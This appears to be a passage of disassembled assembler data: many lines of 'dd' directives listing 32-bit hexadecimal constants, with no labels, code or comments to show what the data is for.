		dd 2AE8B7CCh, 51B93C7Ch, 9A270F21h, 0CA96AC9Eh,	0D392F1E2h
		dd 6334D464h, 0A9D903B3h, 0E17F2FEh, 1C8EB848h,	5D77D74Bh
		dd 0CB7DD60Ah, 816B27BEh, 4A43234Eh, 15B7BD25h,	91EDBC92h
		dd 142CE2A0h, 558D2CCCh, 58E8A51Eh, 0C2208649h,	0FBE5A8Eh
		dd 3F8877D5h, 53434664h, 968FF2E0h, 1B1F5A2Eh, 7DC4F09Eh
		dd 9AD06DCh, 0AD3D1078h, 89EE4E66h, 6BD6F93Dh, 622C5364h
		dd 2BC2CCF1h, 0D940F641h, 9CFB2957h, 674ACB3h, 29688EA3h
		dd 0D4860463h, 479F0719h, 0C3DE6F7h, 9E7CBE7Ch,	9B492529h
		dd 0CD589CAh, 0FC0E36F7h, 0A584BEF5h, 0B7498061h, 0A1D4DAACh
		dd 664EF489h, 0BCF41379h, 9580821Dh, 0D66E8415h, 0EB7ED9AEh
		dd 6D880448h, 0C8D5711Bh, 8415BE6Ch, 71B986F8h,	2DBE9370h
		dd 4DB7C134h, 7EE2708h,	0C10D252h, 4D07D1E4h, 0CF644EF6h
		dd 0C2775DF5h, 24C93E8h, 3879E70Ch, 47DA73FDh, 0C7DE6FF7h
		dd 0DF3B5845h, 0B2D01D29h, 0A4F4DAE1h, 0EC0FEBF8h, 0F57D865h
		dd 0B00845CDh, 16EFDAA5h, 60BEA0DFh, 0AC955E4h,	0AED6762Dh
		dd 0BA7060DAh, 60452D0Ah, 2D0EEA0Ah, 0C3D82594h, 823335BEh
		dd 0B8C652C7h, 27D52C4Fh, 7C136E9Bh, 5B5468Bh, 0D49158FCh
		dd 1D464B65h, 0E2EFFFADh, 2BB611AFh, 6FCFA1ADh,	0AFB61191h
		dd 0C91100DCh, 0D6890DABh, 23E7C4D7h, 7E391338h, 6BE799FDh
		dd 0F4474219h, 0B4BA5F28h, 0D9BEFCB1h, 0A488F7CDh, 8DBA162Ah
		dd 7D56F52h, 1076DED0h,	136AAE38h, 0D5453B23h, 0CACA9E57h
		dd 0E99FA93Bh, 2EDE7991h, 0FB6C266Eh, 8DC0D7E8h, 10299C8Ch
		dd 0B8760447h, 641DCE69h, 6451E953h, 0F4D36C8Eh, 59DC0691h
		dd 0FCD707F7h, 0CA1B86ABh, 22E59FA9h, 1AD7342Eh, 6603534Eh
		dd 73D5132Fh, 948BDC58h, 0BF2BC710h, 0C6657210h, 0E9754B24h
		dd 4404EC92h, 332DB461h, 44ECDE2Ch, 0D5FF1C11h,	4BA26F1Dh
		dd 1FAAF036h, 0CE9AA9FDh, 0D03E94E3h, 5612DC62h, 2E511994h
		dd 0C7F7FAF3h, 758EBF48h, 0B83399A8h, 0FCFA6A5Ch, 0F12D64C5h
		dd 7F62616Bh, 250D1F3Ch, 90753791h, 1B6934DAh, 0ADD07ECBh
		dd 8FC6EE66h, 0B2233C57h, 72A4642Ah, 21846210h,	550FE619h
		dd 86A91990h, 3E3F57D5h, 3710A0A4h, 1BEC6C8Ch, 43B55B6Dh
		dd 0D01304E1h, 41ECF1D6h, 76595A49h, 99293F0h, 0C16DF7FCh
		dd 95F9A2C9h, 6A5DFAB1h, 968D2A95h, 93D7D563h, 72A41F34h
		dd 3948BCA0h, 8577E37Fh, 12544322h, 0F0CCCD85h,	0B46D5537h
		dd 754022A3h, 0BB9442CDh, 0C4FFAE2Fh, 3E73BCBDh, 0BBEC111Dh
		dd 0E4769505h, 66A49A01h, 0B59FDFA2h, 0DEC5DD54h, 6181BBD5h
		dd 0B02C82C7h, 44E8DFD5h, 7EDB9736h, 1CE27A11h,	355A2202h
		dd 3CED7138h, 85B4EFF5h, 8A70092Dh, 0EE705326h,	251ACA93h
		dd 6028EA16h, 2DC301FFh, 0C5C5D023h, 0DE279C1Ch, 2C0D3A0Bh
		dd 2B7EEEB4h, 830990CFh, 1CFF3466h, 0B94A17BCh,	0D9A5B8C7h
		dd 0D2D9E4DDh, 0CA20051h, 0FD32A8B8h, 0CC4C819Fh, 35A8082Ah
		dd 38050023h, 0C3A9558Eh
		dd 85AF6CB9h, 13830681h, 0B3305115h, 8DFCE9EDh,	6ED6460Bh
		dd 30BD7879h, 48F9E814h, 92B9B39Dh, 3EF09F83h, 7238A19Ch
		dd 0CB82D3D4h, 0EE0CEA1h, 38277175h, 43F2EFB9h,	0BE105C5Dh
		dd 39F09CA9h, 0C04A035Dh, 0C8A6ADDCh, 0B3DDD2CBh, 3A627807h
		dd 0E0FAB1F6h, 0C505139Bh, 0B917A4E3h, 3D0BB327h, 0AB372B4Eh
		dd 0E6171994h, 0FFEDD8F9h, 25758D50h, 0FC20BCD3h, 1DFD9ED1h
		dd 0E1C3C2DFh, 452597EDh, 0A89EE55Dh, 0CECC171Eh, 0E98CD334h
		dd 0B1A8B5A1h, 26D2FF51h, 3AF2D39h, 4CB22D7h, 5D6FBA02h
		dd 0DA803E32h, 37CC0392h, 578E836Bh, 805AC860h,	78041DB6h
		dd 0A9E90155h, 0C57DFBA5h, 9B4B5ECCh, 87AF70F9h, 0CBCA373h
		dd 8BDBCE4Fh, 6E66AA98h, 0B538C44Bh, 716DDF23h,	4881AC6Eh
		dd 252B7BABh, 3E9F9C52h, 97C4C387h, 5F47EA54h, 3306869Ch
		dd 0A95C840h, 0DEC15D3Ch, 0F3E96111h, 747D5BFEh, 17B44EF1h
		dd 0D86F24F7h, 6F108775h, 0CCE3C635h, 80FE54D5h, 0F8CAE16Dh
		dd 78C1933h, 5C4D0D96h,	5F23FBC7h, 0D1985EFCh, 11A2F0C7h
		dd 3168E37Ch, 0C2BF2E29h, 8AD5BA8Ah, 76DF3C3Ah,	0A0387B13h
		dd 5B37C206h, 2EF0689Ch, 0D0F1ED59h, 8DD19903h,	0F2424F96h
		dd 0A20E14FCh, 0FA120FF1h, 9E600874h, 0F83B37CDh, 0CDF6F058h
		dd 8B7CD1ABh, 19B53153h, 49AF81A6h, 2D6279AFh, 0B89BD3C8h
		dd 612660E1h, 0C598E9EFh, 73451568h, 5BA7AFAAh,	0F65972EBh
		dd 7FDD9ECAh, 57794272h, 34B76A2Eh, 3FF1A608h, 0A451C818h
		dd 0F5036523h, 43EE4717h, 524226E4h, 0BA080CF5h, 0FEEF0974h
		dd 84FCF735h, 930BD094h, 8B8CB1C5h, 0E4CC37Dh, 8D3DEC6h
		dd 29E2A2DCh, 0A87AF869h, 9132DD32h, 902B16h, 0C1233AA7h
		dd 0DA9BBCD3h, 0C6C63347h, 40C4F235h, 0BDC9028Ch, 0F4B58A79h
		dd 86717231h, 0AF115017h, 0EF62A37Dh, 72BA4A30h, 0A3F62696h
		dd 18DC0445h, 0A4C5393Dh, 0A28FB551h, 1FD271AFh, 9083D1D1h
		dd 0EDCB61E7h, 0F62E9CFh, 0E0B8D5F8h, 0D8AD0FCBh, 4C6082FAh
		dd 0C1BB3EEBh, 64D7B26Ah, 8640C02Bh, 6979F90Ah,	95D7851Bh
		dd 0EDE049A3h, 92F91DD7h, 935581C5h, 13004BF4h,	536916EDh
		dd 330380C8h, 23684979h, 8A3F174Ah, 4EF4809Bh, 48FFC9CAh
		dd 29F2B563h, 398FFFAEh, 257258ABh, 0A493E3CAh,	0E3221862h
		dd 29AEDAEh, 52C61348h,	0ABE42EDAh, 0FE7932E2h,	3ECDBE4Eh
		dd 0D7717230h, 29807F56h, 0DD63A24Ah, 0E40ECA62h, 54F2E655h
		dd 91EE0467h, 645A0917h, 461FFD47h, 55FD11E6h, 4C1F9FDDh
		dd 6BDA52A2h, 63B580FCh, 0E50FE229h, 7F8EE175h,	4B7EBA4Dh
		dd 0D5ACFC78h, 723CDC8Fh, 0AAB0AA6Ch, 7CCAFAD1h, 0A97DC27h
		dd 7FD82376h, 2155FA67h, 3F999E8Eh, 29C54C03h, 2C709346h
		dd 2A094067h, 6B76AB8Eh, 2BA84603h, 0BB6538C5h,	0AA8F8527h
		dd 0F357957h, 4A8F95DFh, 0A3CA41D3h, 0B397E9A2h, 0F0596595h
		dd 0CC4A1042h, 6EC9548Ah, 0D35D4F30h, 5B68A209h, 0D4A74ED8h
		dd 66C3AA39h, 85D1D468h, 6AA97771h, 96E6546Ch, 0CEC039D2h
		dd 31913D24h, 0F059B9F6h, 701E47A7h, 407800EEh,	281311B3h
		dd 2478990Eh, 3E2CE7BBh, 7DE480A8h, 0BA6FD198h,	6B22A901h
		dd 9B7FEDC4h, 0FF521BA5h, 82BB64B9h, 7FCE9991h,	61946D1Ch
		dd 105793DAh, 98342EB8h, 0C4097288h, 662DDE00h,	0F279614Ch
		dd 9BAF597Ah, 1FE5AD49h, 0C5CFC763h, 63D26455h,	11DF4467h
		dd 0F822E997h, 0C4036D07h, 34F399C6h, 3BEAE5A7h, 229ADE96h
		dd 25DC05BFh, 0A2430A0Bh, 0A3D3B6BAh, 37ABA29h,	0C2AEF858h
		dd 6AC02961h, 9AAF2174h, 70CAB5EDh, 0C97F5A5h, 0F6D81BB7h
		dd 0E1D50A87h, 0D0591A9Eh, 0B9E5CE1Bh, 3200107Ah, 28114969h
		dd 0EB7AAC09h, 0EEAE40C0h, 9FE43C24h, 9E4F0157h, 312BD5Fh
		dd 42BFF1DBh, 0A53255D1h, 348BE5A5h, 0CCD71D96h, 0E8F4E9BCh
		dd 0D7E9D78Ah, 5B5D8AB8h, 0D761C289h, 0C6A3DE18h, 75C3A259h
		dd 9A52C878h, 7AE6E549h, 86860760h, 0FED006D4h,	81993CA6h
		dd 5E7137h, 401C5347h, 207B12FEh, 301482ABh, 2878F672h
		dd 2C2CD675h, 0EAE4A04Fh, 6BEFB96Bh, 5B62BD08h,	0BB5FFBC0h
		dd 77425AA7h, 8EB3E4B6h, 3DCA1916h, 0C296ED5Fh,	0AFD813FAh
		dd 10752E88h, 4829B280h, 0E43D7E04h, 0F270924Eh, 1B2B427Bh
		dd 5CA7AA49h, 0A6ACC663h, 70C5F855h, 89D78567h,	7C264917h
		dd 4201DDC7h, 3FF061A6h, 31696B97h, 285A969Eh, 2C3C2CBBh
		dd 0AA733509h, 2B2B8739h, 0CB66B6E8h, 0EAA0F6B8h, 92C12011h
		dd 9AAFA97Ch, 84CA7D69h, 6961DE8h, 41D80390h, 0A0550AB4h
		dd 70199697h, 805501Fh,	3C109178h, 0A2194F68h, 0AF7EAA89h
		dd 89AC4680h, 8C633804h, 820E8547h, 372F967h, 40AFD5D7h
		dd 0A03A21D7h, 0B00FF9A4h, 88151D96h, 0C17F3BCh, 0C3E6528Ah
		dd 2365CEB8h, 509D6208h, 0E8BD6E58h, 63C25A79h,	0DDC24C98h
		dd 3C3623D2h, 0C1B6E6F7h, 96301645h, 169134B7h,	57427DE7h
		dd 0B70A5DF7h, 776A135Eh, 54040230h, 2769367Ah,	453CB6BAh
		dd 7CF4B0FEh, 3C7FB1EBh, 7DB2A1E0h, 0A02FF95Fh,	29A2252Ch
		dd 4DBBE524h, 3CD61905h, 6480ED0Ch, 66491308h, 8BA5AE08h
		dd 5ED87276h, 0AD1D1E9Ah, 0B41882DBh, 0F4A74AEBh, 0C479B6DAh
		dd 259DC0F0h, 0C7A579DBh, 0C6DF45F4h, 0A339A904h, 6817CD09h
		dd 4C9D1CE8h, 10E9E7AEh, 83D48A6h, 0C3C6DA7h, 8A430527h
		dd 8B03AF98h, 0AB42EA88h, 0AA82D4B8h, 0A2E60721h, 828E0864h
		dd 0B0FA0DD5h, 30A60D1Eh, 0F0E843C1h, 0D0E52294h, 0A0E9A29Fh
		dd 28156223h, 7410A64Eh, 15D17E5Bh, 7162AA08h, 0A8A24640h
		dd 0FDE23864h, 89CE0577h, 1F52396Fh, 43BE35D3h,	0A4C23335h
		dd 3463F547h, 4FB31777h, 25D6F95Ch, 0B816DB6Ah,	268C3D58h
		dd 43790D68h, 0FB5F6E78h, 602D4079h, 8EB3C4F8h,	6C8677B9h
		dd 9FA6D1F8h, 9AD1FD38h, 9C693040h, 9FB66754h, 0A1F87FE6h
		dd 23952E3Eh, 0E5F5A73Bh, 79950DAh, 79CCBE31h, 0C3036AFDh
		dd 0D90F8592h, 35028B94h, 6AFFC72Eh, 0D5421641h, 0C343D154h
		dd 6E222FF7h, 2572D53Fh, 8D3A295Bh, 19121208h, 72080C50h
		dd 0A8FD7ECCh, 0CF60F0BAh, 5E137681h, 84EBF494h, 2F7A8A8Dh
		dd 5B5CB0B5h, 0B42B4E87h, 2BCBC6F7h, 0FE4EDA7h,	6A16A386h
		dd 6189F717h, 7E3D1C6Eh, 749C2263h, 0F17306E5h,	761BD7DFh
		dd 14AE928Bh, 0CB749519h, 0D0DF45D1h, 0EF52CC2Ch, 0EB2B9B41h
		dd 6B7735ECh, 28388922h, 4AB5B64Dh, 0DF79E04Bh,	19A534F1h
		dd 0BFD0ED9Fh, 0C09368Bh, 6486DE68h, 0C6403DE0h, 9E815DA4h
		dd 0F261F807h, 66520757h, 0C2AE95CFh, 244A833Bh, 34A48D5Eh
		dd 8E51930Bh, 0C5D97F52h, 0A9EFDA6Dh, 7E90FD5Bh, 0E777ADE9h
		dd 4D5E1E38h, 0E92D5859h, 23380C8h, 0EE4719B1h,	1C8640FCh
		dd 6561753Ah, 9C11BCC1h, 5FAAF914h, 41F6FEC6h, 0B39CAE4Eh
		dd 7DF1A7F3h, 839B10BEh, 0FFCFDE03h, 0C2047AF4h, 198F4D96h
		dd 55C22796h, 7D1F752Eh, 0AD72ED40h, 673B5654h,	103EAE77h
		dd 0AC7C55FFh, 0F1BBA9BBh, 98D21218h, 0D684C48h, 29121ED0h
		dd 4F3860A4h, 5FFFFE9Eh, 0C4FD78ABh, 8F73F482h,	0EB58B1B5h
		dd 3C2A0E87h, 0A7CC2677h, 8DE5FDE7h, 0E9166BA6h, 0E2096B07h
		dd 0FE7DEA56h, 0F4BCBB6Fh, 716382E3h, 7613495Eh, 0D4AA13CBh
		dd 0AB761539h, 40DCC541h, 1751CC74h, 6F2B5B7Dh,	0F57795E2h
		dd 2938392Bh, 8A350E49h, 3EB96449h, 985B6F0h, 67206E9Fh
		dd 6811B58Bh, 0F28A5DE8h
		dd 0BF46BE20h, 1A00C244h, 8CA1F9F7h, 0E77347DFh, 6BFE750Bh
		dd 0D3527FB9h, 5D586D91h, 0C9BF209Ch, 5C20F5B9h, 2630EDBAh
		dd 4341868Dh, 0C7F4A2B1h, 0FED87B7Ch, 0BAFE33E9h, 0AB654D0Ch
		dd 0C7A6A411h, 0C1439713h, 8191F0FCh, 807921B2h, 4E432Dh
		dd 0C1F45EDAh, 0E02F55A0h, 501A830Bh, 583F35CAh, 0B02D56DDh
		dd 0F6A277CCh, 14D9B9F1h, 0C9218CB6h, 4F6AE6A0h, 0E2C4BD18h
		dd 0DDBAC54Dh, 97572458h, 5E47C342h, 75B6900Ch,	0F8345D77h
		dd 0B2E1A76Fh, 6CFCFE74h, 8C9045B1h, 1A1BA20Fh,	43208A43h
		dd 2690DE66h, 0BBEC57h,	5DF9B957h, 141BF222h, 0F9475EFEh
		dd 2BB0C762h, 0FC5B89E7h, 1A6B080Ah, 0B1DD5A73h, 0CDD63C81h
		dd 6D05DCADh, 0ACD8A432h, 2489BBC5h, 0BCAC49BFh, 0F2A9A88Bh
		dd 0F7D77D2Fh, 41819DD0h, 56C9C366h, 4456A04h, 7E084604h
		dd 8C9528BDh, 34C08DD2h, 3D6949C6h, 943EB725h, 6694402Dh
		dd 95CF14A9h, 1825F762h, 71E398A9h, 43F63289h, 0C83688CCh
		dd 927BF5F1h, 0FBDA399Ch, 0ED4EB2D4h, 6C6C87FCh, 3213FA98h
		dd 0D4E5A27Dh, 86D07558h, 0ECA56D98h, 0F3A70868h, 0E340FF93h
		dd 0E445B194h, 8192806Bh, 65154852h, 3077149Bh,	4F9D374Ch
		dd 6006550h, 0CC736F7Dh, 19045379h, 6B594380h, 5F869C76h
		dd 0C40A3E15h, 96D09076h, 0ACD289BAh, 3C1140D4h, 0BD7989D1h
		dd 0C5171CE5h, 15DC81F0h, 4A65121Bh, 250FAED8h,	0B2F57218h
		dd 0D8EF9E78h, 8CDA4260h, 9A1FEA22h, 831D6642h,	693E866h
		dd 40B85557h, 61CACF66h, 302CE297h, 0B8052E87h,	2CF6BA06h
		dd 0CEE9BC47h, 2D1D3B66h, 0D39C6277h, 0ABA358D0h, 0AB439524h
		dd 8AB2CD76h, 0ACAF5E7h, 42D2278Eh, 22A82883h, 30C73D86h
		dd 2891BD7Fh, 6CD933CAh, 2AD572A9h, 0BBD842A9h,	0EBA52A10h
		dd 8F60827Fh, 9A81486Bh, 332B708h, 478A4040h, 0E15639E4h
		dd 71B40537h, 184939CFh, 43CDB5E3h, 0A66971BDh,	31275193h
		dd 49A1A19Dh, 0AC21C9B9h, 0F2036588h, 4B7647B9h, 9C962688h
		dd 0F2BE0C98h, 87CC0919h, 9D537758h, 866790F9h,	80C6D1A8h
		dd 81F1F370h, 806926F4h, 8006668Eh, 1F05E0Bh, 40690C58h
		dd 0A01B8318h, 707C765Bh, 882D16E0h, 0BCE38015h, 82EE4976h
		dd 0FE2F576h, 0C19E1FCFh, 206228A0h, 8A03FBB4h,	0F329474Ch
		dd 4F71A884h, 4A261260h, 22EC2EA8h, 0B2E53210h,	0E8E7BE7Ch
		dd 8CDE7262h, 1A1DD20Dh, 0C31A6242h, 0E6926A66h, 50B81657h
		dd 19CAEC66h, 342C9517h, 0A6053747h, 2DF6BEE6h,	0CE6842B7h
		dd 2CDD3A6Eh, 0D3FC6273h, 0A353586Eh, 3B5B956Bh, 6ABECD51h
		dd 6ACCF594h, 0F2D32786h, 2AA8A887h, 3CC6FD85h,	0AA91DD7Ch
		dd 2FD923CEh, 0C9557AA9h, 8B985EA9h, 93DCBF15h,	8B70837Fh
		dd 8489486Bh, 0EA36B788h, 97184105h, 588538C1h,	0D1C78422h
		dd 184978D2h, 43D5959Fh, 0A66541B3h, 0B1216992h, 9A0A59Dh
		dd 0CC214FB9h, 0E202A488h, 537627B9h, 98963608h, 0F4BE04D8h
		dd 86CC1539h, 9DD37168h, 86A791F1h, 80E6D1ACh, 81C1F3F2h
		dd 1126B5h, 0C01A66AEh,	61FE5E1Bh, 50680C40h, 0B81B0364h
		dd 747CB655h, 0E22F6E1h, 0FDE39015h, 0E26E4176h, 1F22F976h
		dd 0D97E1DCFh, 24522BA0h, 0D73BFCB4h, 0A90E1D97h, 9CB4F31Fh
		dd 0C3F7122Ah, 0AADCAE49h, 3AC5F2F9h, 608F5EB1h, 4D2629Dh
		dd 0F203DAFBh, 30B6EB0h, 0C692E467h, 60B8D757h,	11C50C66h
		dd 382C8597h, 0A4053F07h, 2EF6B2C6h, 0C9E840A7h, 2C9D3916h
		dd 0D3DC657Fh, 0A94359ECh, 0AA5395A2h, 0DEBACDB1h, 1FDEF575h
		dd 0B6C0276Eh, 0C6B7284Ah, 0ECD6BD7Bh, 0F081FD88h, 5AC91338h
		dd 0E9C28259h, 9C585AA9h, 9BE52E10h, 8700807Fh,	8691376Bh
		dd 13AB608h, 408E40C0h,	0E0D43924h, 71F70557h, 1856B9DFh
		dd 41DDF59Bh, 0A46151B9h, 0C1236195h, 89B3596Eh, 1C3ECD49h
		dd 2212E378h, 0AB660649h, 0B4860678h, 0F6A9FCEAh, 85DC11ABh
		dd 82537378h, 86E792C9h, 8086AEA0h, 81D1F274h, 80192676h
		dd 1E664Fh, 41FC5E6Bh, 206B0C48h, 0B01C8360h, 287CF657h
		dd 32D617h, 0E2F3A0E7h,	0C3FE3986h, 2F62FD76h, 0D15E1BCFh
		dd 28422AA0h, 0D433FCB4h, 0AA0A1D17h, 0B36F35Fh, 4AA812FBh
		dd 22AD2E88h, 0B2C5B200h, 0E8977E44h, 8CC5926Eh, 1A11C20Bh
		dd 43186A41h, 0A6956667h, 70B8A857h, 9C52D66h, 3C2CB517h
		dd 0A20547C7h, 2FF6B6A6h, 0C9684697h, 2C5D381Eh, 0D23C657Bh
		dd 0AB73596Ah, 14AB95E9h, 0CAA6CD90h, 0EAC0F5B4h, 92D12797h
		dd 1AA7A8BFh, 44C67D88h, 0A6901D78h, 0B1D903C9h, 88528AA8h
		dd 8C1856A9h, 82053010h, 8310817Fh, 8099376Bh, 3EB688h
		dd 400C4080h, 0E0133904h, 70168547h, 1866F9E7h,	0BC25D597h
		dd 0A67D21B0h, 0B12D7994h, 89A25D9Eh, 0C2E53B8h, 0C2022288h
		dd 0A377E6B9h, 90961608h, 88B9F458h, 84CC1D79h,	82D36D08h
		dd 872793C1h, 80A6AEA4h, 8021F2F6h, 12637h, 4012666Fh
		dd 0A1FA5E7Bh, 306A0C70h, 481C036Ch, 6C7D3656h,	3222B6E7h
		dd 7BE3B016h, 236E3177h, 3EA2E176h, 293E19CFh, 2FB235A0h
		dd 0AA2BFDB4h, 0AB061D97h, 0BB0F39Fh, 4B69129Bh, 228DAE98h
		dd 0B3347278h, 0E88F1E48h, 8CC98268h, 9A17CA08h, 83197640h
		dd 8695E067h, 80B96957h, 1C54D66h, 0C02CA597h, 0A0054F86h
		dd 10F6AA86h, 0C8E84487h, 2C1D2706h, 0D21C6447h, 0AB6359E8h
		dd 94A39528h, 8AA2CDF0h, 8AC2F5A4h, 82D627EFh, 2A628B3h
		dd 40C63D8Eh, 20903D7Bh, 70D973C8h, 0A8D292A8h,	7CD852A9h
		dd 8A253210h, 7F20867Fh, 8261366Ah, 3F22B608h, 41824040h
		dd 0E0523964h, 70360577h, 187639EFh, 0BC2C3593h, 0A67931B6h
		dd 312F7197h, 49A5519Fh, 2C2FD1B8h, 0B2026188h,	0AB77C9B9h
		dd 8C966788h, 8AB9EC98h, 83CC1999h, 83536F18h, 876794D9h
		dd 8046AFD8h, 8031F238h, 800926D0h, 8016661Ch, 81F85E72h
		dd 650C74h, 401D836Eh, 0E07D7651h, 0F02296E4h, 58E24017h
		dd 1CEE2977h, 36E2E576h, 251E17CFh, 2DA234A0h, 0A923FDB4h
		dd 0AC821D17h, 0BF2F3DFh, 4B0A12BBh, 229A2EE8h,	0B33C3230h
		dd 0E88B3E6Ch, 8CCBB27Ah, 1A14B271h, 0C316F24Ch, 6695A261h
		dd 10B94A57h, 79C57A66h, 242D5C17h, 0BE054B47h,	29F6AC66h
		dd 0CC6845F7h, 2DDD270Eh, 0D37C64C3h, 0AB9359A6h, 2B7B950Fh
		dd 4A8ECDC3h, 0AAB4F5ADh, 0B2CF27EBh, 0AAAA8B1h, 0CCC7FD8Fh
		dd 62915D7Bh, 13D9E3C8h, 0BF555AA8h, 64984EA9h,	8E452410h
		dd 79308F7Fh, 83694A6Ah, 3FA6B488h, 41404700h, 0EFB13844h
		dd 703985E7h, 180E7937h, 0BC3015EFh, 0A67701A4h, 0B12E89AEh
		dd 9A5D593h, 4C2F17BEh,	2205808Bh, 7377D9B8h, 0A8966F08h
		dd 0FCB9E0D8h, 8ACC67B9h, 9FD36E28h, 85A794D1h,	8766AF5Ch
		dd 8181F27Ah, 7126F1h, 0C00A660Ch, 0E1F65E4Ah, 106C0C78h
		dd 58190368h, 647FB650h, 0B62D76E4h, 0B9E3D017h, 0C6E6177h
		dd 4E22C976h, 22FFE5CFh, 33922FA0h, 0A85BFAB4h,	0AC1E1C97h
		dd 0A3CF31Fh, 4B2B125Bh, 226AAEF8h, 0B324F228h,	0E884DE70h
		dd 8CCDA264h, 9A15BA0Eh, 3167E43h, 46945C66h, 20B92B57h
		dd 71C56A66h, 282D5497h, 0BC055707h, 2AF6AE46h,	0CFE84AE7h
		dd 2D9D2636h, 0D35C644Fh, 0AB835964h, 0AB73956Eh, 0A8ACDD3h
		dd 4AB6F5D5h, 0A2CC27A7h, 72A92897h, 48C7BD9Ch,	0BC917D02h
		dd 32D9D3C4h, 4FD562AEh, 0ED584AA9h, 0F2652610h, 9BC08C7Fh
		dd 9C71496Bh, 62AB708h
		dd 450640C0h, 0E19039A4h, 71290517h, 1887B9BFh,	43F475ABh
		dd 0A6551199h, 31598181h, 0C9BC4984h, 6C235585h, 1203AF89h
		dd 0FB76A8B9h, 0E496F788h, 9EBE2418h, 99CC05D9h, 84537938h
		dd 81E79DA9h, 8106D390h, 8091F09Ch, 80F92182h, 0CE6705h
		dd 0C1D45ECEh, 0E05F0CBAh, 0D1E28308h, 6763F643h, 91DCA922h
		dd 8D22E01Bh, 18EED971h, 0C6A20D75h, 76DE03CEh,	14423EA0h
		dd 52D3F2B4h, 0AC9A1017h, 985EF15Fh, 41FC117Bh,	0AA6331C8h
		dd 0BA60B3A0h, 78C6FEB4h, 842ED286h, 8B1A221Fh,	4BDE3A5Bh
		dd 0B4907E1Ah, 387B1C59h, 7ACA9361h, 0E4ECD014h, 9A0511C6h
		dd 1BF68F26h, 0C769BAD7h, 215D3EBEh, 0D1BC600Bh, 0A8B35B42h
		dd 14CB8A5Dh, 0CAF6CCDAh, 6AE8F555h, 0D2DD2765h, 0FAA1A8F6h
		dd 14C37DACh, 0DE939D0Ah, 25DAC3C0h, 5652EAACh,	691806AAh
		dd 34850811h, 0BAD0BD7Fh, 6CF9316Bh, 0EEEB388h,	0BAE44280h
		dd 0E39F3A84h, 8E508207h, 191BF847h, 43BA5527h,	0A7B4E15Fh
		dd 0B14919E0h, 89B48DB4h, 8C24BB8Dh, 201BE82h, 0C371A0BFh
		dd 60977B0Bh, 50BE5A59h, 0B8CC24F9h, 0F4D30948h, 8A278561h
		dd 9D26D7F4h, 82E1EEAEh, 7E1208Bh, 41426701h, 21925E4Ch
		dd 70BE0CFAh, 29F20329h, 0BC683633h, 6A2736D5h,	8FE0F01Fh
		dd 7961D173h, 43A3B174h, 0BFBE41CEh, 0F17219A0h, 0CF8A03B4h
		dd 5DB60897h, 0F248F59Fh, 0B7251FFDh, 2467B0D8h, 0B2217398h
		dd 0E9019E38h, 8C8F42C0h, 9BEA6A3Ch, 8306262Ah,	69C0852h
		dd 40BD057Dh, 0E1CB9773h, 702C4EEDh, 0D804D0CAh, 0FCF6EF20h
		dd 56E9AA57h, 591D36FEh, 359C7C2Bh, 0B6A35D31h,	2DC38B55h
		dd 0CE72CCDEh, 6B2AF5D3h, 53822724h, 0BA5028D6h, 0F71B3DBCh
		dd 0CEBFBD12h, 0DDAC33FCh, 524BF2ADh, 0D71482ABh, 7584CA11h
		dd 0DA51D27Fh, 7D39A06Bh, 168D7B08h, 0BEF45E40h, 0E5872CE4h
		dd 8F5C8B37h, 199DC44Fh, 437B57A3h, 0A794661Dh,	3178D8C3h
		dd 484CED25h, 0AC38AB55h, 0F20FB6FEh, 0CB70BCB2h, 0DC97FD32h
		dd 12BE9B55h, 0D7CDC4FFh, 655319CBh, 52678D20h,	0BAC6DBD4h
		dd 0F4F1ECBEh, 0EE92393h, 5DC6783Dh, 23505FC2h,	0F7990C3Bh
		dd 684383C9h, 0DC107623h, 7A3B16CDh, 97EE8063h,	7D68C97Dh
		dd 0C5A73573h, 7EBCBFCDh, 0D1EDF8A1h, 0FF4B93B4h, 55964017h
		dd 1E78D9DFh, 0B5CDED3Bh, 277BABA8h, 4DAF7490h,	0E9409FBCh
		dd 8CAFC202h, 1BFAAADDh, 0C30FC63Ah, 0E698184Ah, 50BF0D61h
		dd 99C89B6Dh, 0F42BCC92h, 6049385h, 0DDF6C007h,	66699BC7h
		dd 50DD4E26h, 39FC78D7h, 0E4535F3Fh, 0AEDB884Ch, 77FECBA2h
		dd 0B7CF4FBh, 0C0A327C3h, 0B440A825h, 0D302FD5Ch, 0F8BBDD16h
		dd 0D4AE23FEh, 0DEC8FAA2h, 15D71EACh, 56A48C12h, 0E5E1F37Fh
		dd 7541906Bh, 1A914388h, 0BCFA5A00h, 0E68E2EC4h, 8CD80827h
		dd 19DF0757h, 4318B45Fh, 0A783F193h, 67709102h,	858C12Ch
		dd 0CC3A99A5h, 0E20CCDF6h, 0D3733BB6h, 0D897BC8Ch, 94BEBB9Ah
		dd 16CDF418h, 45D321D8h, 62A78938h, 0B2E6DDC8h,	0F8C1EDA0h
		dd 8C91238Ch, 9EDA7882h, 0DE5F8Dh, 0C7D80C1Bh, 0B62303F9h
		dd 0D010B6C2h, 7830F6C9h, 94EA9061h, 0FEEAC17Ch, 85E43973h
		dd 1E9F3DCDh, 0C1DDBBA1h, 0E743B4B4h, 51927197h, 187AE11Fh
		dd 0B4CEE9DBh, 27F82DB8h, 4D6F3588h, 0E9A0BF80h, 8CBFF28Ch
		dd 4DC2929Ah, 363C2F0h,	0C6861A7Bh, 60BE0E69h, 91C81869h
		dd 0F82B0F10h, 84047044h, 9EF6DFE7h, 1E99237h, 409D42AEh
		dd 21DC7613h, 0B0435E5Dh, 28D38863h, 4CFACB55h,	2BEEF416h
		dd 0F36027C5h, 0B69F2826h, 4332BD59h, 8693FDFBh, 7BC21313h
		dd 8946024Eh, 75861A41h, 8D40EFFh, 95E13092h, 0BB60014h
		dd 65AA2D77h, 0CC672DBFh, 0BB9D225Bh, 0D0C386BAh, 45CB46B2h
		dd 430A94B6h, 0A784C111h, 310ED945h, 0C84885E6h, 0EC4547B4h
		dd 0D20CBC8Eh, 0DB4FB3BAh, 0D497B80Eh, 168085DBh, 55CDF538h
		dd 0AA1313E8h, 72E789B1h, 0A86DD8Ch, 0FCD1ED78h, 29923FDh
		dd 11DE788Ah, 0C5C5E89h, 781B0CE5h, 0F8048303h,	9470F62Bh
		dd 0B028D6C9h, 11E6A163h, 766CB981h, 81253D88h,	7FBBCDh
		dd 58D27AA1h, 3BFBD5B6h, 6E61EAh, 1824E9A3h, 0B43F15FBh
		dd 9FE0AF88h, 7163F382h, 0B1A65E7Ah, 8CBEE2F2h,	1BC21A5Bh
		dd 57720E79h, 0E2867568h, 70BE1FAFh, 89C81065h,	0FC2B1396h
